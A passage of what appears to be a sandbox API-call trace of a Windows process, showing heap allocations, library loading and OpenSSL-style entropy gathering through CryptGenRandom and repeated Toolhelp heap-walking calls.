(HeapHandle=0x3b0000, Flags=0x0, Size=0x80) returned 0xe079a0 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x148) returned 0xe48640 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe47ca0 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe47cb0 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe47cc0 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe47cd0 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36580 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe365a0 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe365c0 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe365e0 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36600 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36620 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36640 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36660 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe47ce0 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02540 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x80) returned 0xe07a28 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x148) returned 0xe48790 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe47cf0 [0190.975] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x80) returned 0xe07ab0 [0190.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8cd04b90, dwHighDateTime=0x1d8a8f3)) [0190.975] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0190.975] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0190.975] GetCurrentThreadId () returned 0xa0c [0190.975] LoadLibraryA (lpLibFileName="ADVAPI32.DLL") returned 0x76a60000 [0190.975] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x752b0000 [0190.976] LoadLibraryA (lpLibFileName="NETAPI32.DLL") returned 0x749b0000 [0190.989] GetProcAddress (hModule=0x749b0000, lpProcName="NetStatisticsGet") returned 0x749b644f [0190.989] GetProcAddress (hModule=0x749b0000, lpProcName="NetApiBufferFree") returned 0x749a13d2 [0190.990] NetStatisticsGet (in: ServerName=0x0, Service=0x1a24ac4, Level=0x0, Options=0x0, Buffer=0x2a7a30c | out: Buffer=0x2a7a30c) returned 0x0 [0190.999] GetCurrentThreadId () returned 0xa0c [0190.999] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.000] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.000] NetApiBufferFree (Buffer=0x5c75a0) returned 0x0 [0191.000] NetStatisticsGet (in: ServerName=0x0, Service=0x1a24ae8, Level=0x0, Options=0x0, Buffer=0x2a7a30c | out: Buffer=0x2a7a30c) returned 0x0 [0191.672] GetCurrentThreadId () returned 0xa0c [0191.672] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.673] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.673] NetApiBufferFree (Buffer=0x5bcae0) returned 0x0 [0191.673] FreeLibrary (hLibModule=0x749b0000) returned 1 [0191.676] GetProcAddress (hModule=0x76a60000, lpProcName="CryptAcquireContextW") returned 0x76a6df14 [0191.676] GetProcAddress (hModule=0x76a60000, lpProcName="CryptGenRandom") returned 0x76a6dfc8 [0191.676] GetProcAddress (hModule=0x76a60000, lpProcName="CryptReleaseContext") returned 0x76a6e124 [0191.676] CryptAcquireContextW (in: phProv=0x2a7a2f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2a7a2f4*=0x5c66b0) returned 1 [0191.677] CryptGenRandom (in: hProv=0x5c66b0, dwLen=0x40, pbBuffer=0x2a7a238 | out: pbBuffer=0x2a7a238) returned 1 [0191.677] GetCurrentThreadId () returned 0xa0c [0191.677] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.678] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.678] CryptReleaseContext (hProv=0x5c66b0, dwFlags=0x0) returned 1 [0191.678] CryptAcquireContextW (in: phProv=0x2a7a2f4, szContainer=0x0, szProvider="Intel Hardware Cryptographic Service Provider", dwProvType=0x16, dwFlags=0x0 | out: phProv=0x2a7a2f4*=0x5c66b0) returned 0 [0191.678] FreeLibrary (hLibModule=0x76a60000) returned 1 [0191.678] GetVersion () returned 0x1db10106 [0191.678] GetModuleHandleA (lpModuleName=0x0) returned 0xfd0000 [0191.679] GetProcAddress (hModule=0xfd0000, lpProcName="_OPENSSL_isservice") returned 0x0 [0191.679] GetProcessWindowStation () returned 0x4c [0191.679] GetUserObjectInformationW (in: hObj=0x4c, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x2a79eb0 | out: pvInfo=0x0, lpnLengthNeeded=0x2a79eb0) returned 0 [0191.679] GetLastError () returned 0x7a [0191.679] GetUserObjectInformationW (in: hObj=0x4c, nIndex=2, pvInfo=0x2a79e70, nLength=0x22, lpnLengthNeeded=0x2a79eb0 | out: pvInfo=0x2a79e70, lpnLengthNeeded=0x2a79eb0) returned 1 [0191.680] GetProcAddress (hModule=0x752b0000, lpProcName="CreateToolhelp32Snapshot") returned 0x752e7327 [0191.680] GetProcAddress (hModule=0x752b0000, lpProcName="CloseToolhelp32Snapshot") returned 0x0 [0191.680] GetProcAddress (hModule=0x752b0000, lpProcName="Heap32First") returned 0x75345d03 [0191.680] GetProcAddress (hModule=0x752b0000, lpProcName="Heap32Next") returned 0x75345eee [0191.680] GetProcAddress (hModule=0x752b0000, lpProcName="Heap32ListFirst") returned 0x75345bc1 [0191.681] GetProcAddress (hModule=0x752b0000, lpProcName="Heap32ListNext") returned 0x75345c6b [0191.681] GetProcAddress (hModule=0x752b0000, lpProcName="Process32First") returned 0x752e8abb [0191.681] GetProcAddress (hModule=0x752b0000, lpProcName="Process32Next") returned 0x752e8812 [0191.681] GetProcAddress (hModule=0x752b0000, lpProcName="Thread32First") returned 0x75346133 [0191.681] GetProcAddress (hModule=0x752b0000, lpProcName="Thread32Next") returned 0x753461df [0191.681] GetProcAddress (hModule=0x752b0000, lpProcName="Module32First") returned 0x75346279 [0191.681] GetProcAddress (hModule=0x752b0000, lpProcName="Module32Next") returned 0x75346362 [0191.682] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x20c [0191.699] GetTickCount () returned 0x1880258 [0191.699] Heap32ListFirst (hSnapshot=0x20c, lphl=0x2a7a2c0) returned 1 [0191.700] GetCurrentThreadId () returned 0xa0c [0191.700] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.701] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.701] Heap32First (lphe=0x2a7a27c, th32ProcessID=0x994, th32HeapID=0x590000) returned 1 [0191.710] GetCurrentThreadId () returned 0xa0c [0191.710] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.711] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.711] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.718] GetTickCount () returned 0x1880277 [0191.718] GetCurrentThreadId () returned 0xa0c [0191.718] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.718] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.718] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.725] GetTickCount () returned 0x1880277 [0191.725] GetCurrentThreadId () returned 0xa0c [0191.725] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.725] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.725] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.731] GetTickCount () returned 0x1880287 [0191.731] GetCurrentThreadId () returned 0xa0c [0191.731] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.732] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.732] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.738] GetTickCount () returned 0x1880287 [0191.738] GetCurrentThreadId () returned 0xa0c [0191.738] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.739] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.739] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.747] GetTickCount () returned 0x1880297 [0191.747] GetCurrentThreadId () returned 0xa0c [0191.748] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.748] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.748] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.769] GetTickCount () returned 0x18802a6 [0191.769] GetCurrentThreadId () returned 0xa0c [0191.769] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.770] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.770] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.778] GetTickCount () returned 0x18802b6 [0191.778] GetCurrentThreadId () returned 0xa0c [0191.778] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.779] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.779] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.786] GetTickCount () returned 0x18802b6 [0191.787] GetCurrentThreadId () returned 0xa0c [0191.787] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.787] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.787] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.796] GetTickCount () returned 0x18802c5 [0191.796] GetCurrentThreadId () returned 0xa0c [0191.796] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.796] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.796] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.804] GetTickCount () returned 0x18802c5 [0191.804] GetCurrentThreadId () returned 0xa0c [0191.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.804] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.804] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.812] GetTickCount () returned 0x18802d5 [0191.812] GetCurrentThreadId () returned 0xa0c [0191.813] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.813] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.813] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.821] GetTickCount () returned 0x18802d5 [0191.821] GetCurrentThreadId () returned 0xa0c [0191.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.821] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.821] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.829] GetTickCount () returned 0x18802e5 [0191.829] GetCurrentThreadId () returned 0xa0c [0191.829] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.829] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.829] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.837] GetTickCount () returned 0x18802e5 [0191.837] GetCurrentThreadId () returned 0xa0c [0191.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.838] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.838] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.845] GetTickCount () returned 0x18802f4 [0191.845] GetCurrentThreadId () returned 0xa0c [0191.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.845] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.846] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.853] GetTickCount () returned 0x18802f4 [0191.853] GetCurrentThreadId () returned 0xa0c [0191.853] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.854] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.854] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.861] GetTickCount () returned 0x1880304 [0191.861] GetCurrentThreadId () returned 0xa0c [0191.862] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.862] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.862] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.870] GetTickCount () returned 0x1880304 [0191.870] GetCurrentThreadId () returned 0xa0c [0191.870] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.870] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.871] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.878] GetTickCount () returned 0x1880313 [0191.878] GetCurrentThreadId () returned 0xa0c [0191.878] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.879] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.879] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.886] GetTickCount () returned 0x1880313 [0191.886] GetCurrentThreadId () returned 0xa0c [0191.886] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.887] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.887] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.894] GetTickCount () returned 0x1880323 [0191.894] GetCurrentThreadId () returned 0xa0c [0191.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.895] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.895] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.902] GetTickCount () returned 0x1880323 [0191.902] GetCurrentThreadId () returned 0xa0c [0191.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.903] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.903] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.912] GetTickCount () returned 0x1880333 [0191.912] GetCurrentThreadId () returned 0xa0c [0191.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.912] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.912] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.920] GetTickCount () returned 0x1880342 [0191.920] GetCurrentThreadId () returned 0xa0c [0191.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.921] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.921] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.929] GetTickCount () returned 0x1880342 [0191.929] GetCurrentThreadId () returned 0xa0c [0191.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.930] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.930] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.938] GetTickCount () returned 0x1880352 [0191.938] GetCurrentThreadId () returned 0xa0c [0191.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.939] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.946] GetTickCount () returned 0x1880352 [0191.946] GetCurrentThreadId () returned 0xa0c [0191.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.947] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.947] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.956] GetTickCount () returned 0x1880361 [0191.956] GetCurrentThreadId () returned 0xa0c [0191.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.957] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.965] GetTickCount () returned 0x1880361 [0191.965] GetCurrentThreadId () returned 0xa0c [0191.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.966] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.966] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.974] GetTickCount () returned 0x1880371 [0191.974] GetCurrentThreadId () returned 0xa0c [0191.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.974] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.974] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.982] GetTickCount () returned 0x1880381 [0191.982] GetCurrentThreadId () returned 0xa0c [0191.982] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.983] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.983] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.990] GetTickCount () returned 0x1880381 [0191.990] GetCurrentThreadId () returned 0xa0c [0191.990] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.991] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.991] Heap32Next (lphe=0x2a7a27c) returned 1 [0191.999] GetTickCount () returned 0x1880390 [0191.999] GetCurrentThreadId () returned 0xa0c [0191.999] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0191.999] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0191.999] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.007] GetTickCount () returned 0x1880390 [0192.007] GetCurrentThreadId () returned 0xa0c [0192.007] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.008] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.008] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.015] GetTickCount () returned 0x18803a0 [0192.015] GetCurrentThreadId () returned 0xa0c [0192.015] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.016] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.016] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.023] GetTickCount () returned 0x18803a0 [0192.023] GetCurrentThreadId () returned 0xa0c [0192.023] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.024] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.024] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.031] GetTickCount () returned 0x18803af [0192.031] GetCurrentThreadId () returned 0xa0c [0192.031] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.032] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.032] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.039] GetTickCount () returned 0x18803af [0192.039] GetCurrentThreadId () returned 0xa0c [0192.039] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.040] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.040] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.047] GetTickCount () returned 0x18803bf [0192.048] GetCurrentThreadId () returned 0xa0c [0192.048] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.048] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.048] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.055] GetTickCount () returned 0x18803bf [0192.055] GetCurrentThreadId () returned 0xa0c [0192.056] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.056] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.056] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.065] GetTickCount () returned 0x18803cf [0192.065] GetCurrentThreadId () returned 0xa0c [0192.065] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.066] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.066] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.074] GetTickCount () returned 0x18803de [0192.074] GetCurrentThreadId () returned 0xa0c [0192.074] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.075] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.075] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.083] GetTickCount () returned 0x18803de [0192.083] GetCurrentThreadId () returned 0xa0c [0192.083] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.083] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.083] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.092] GetTickCount () returned 0x18803ee [0192.092] GetCurrentThreadId () returned 0xa0c [0192.092] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.092] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.093] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.101] GetTickCount () returned 0x18803ee [0192.101] GetCurrentThreadId () returned 0xa0c [0192.101] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.101] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.101] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.109] GetTickCount () returned 0x18803fd [0192.109] GetCurrentThreadId () returned 0xa0c [0192.109] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.110] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.110] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.117] GetTickCount () returned 0x18803fd [0192.117] GetCurrentThreadId () returned 0xa0c [0192.117] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.118] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.118] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.125] GetTickCount () returned 0x188040d [0192.125] GetCurrentThreadId () returned 0xa0c [0192.125] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.126] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.126] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.133] GetTickCount () returned 0x188040d [0192.133] GetCurrentThreadId () returned 0xa0c [0192.133] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.134] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.134] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.142] GetTickCount () returned 0x188041d [0192.142] GetCurrentThreadId () returned 0xa0c [0192.142] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.142] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.150] GetTickCount () returned 0x188041d [0192.150] GetCurrentThreadId () returned 0xa0c [0192.150] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.151] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.151] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.158] GetTickCount () returned 0x188042c [0192.158] GetCurrentThreadId () returned 0xa0c [0192.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.159] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.166] GetTickCount () returned 0x188042c [0192.166] GetCurrentThreadId () returned 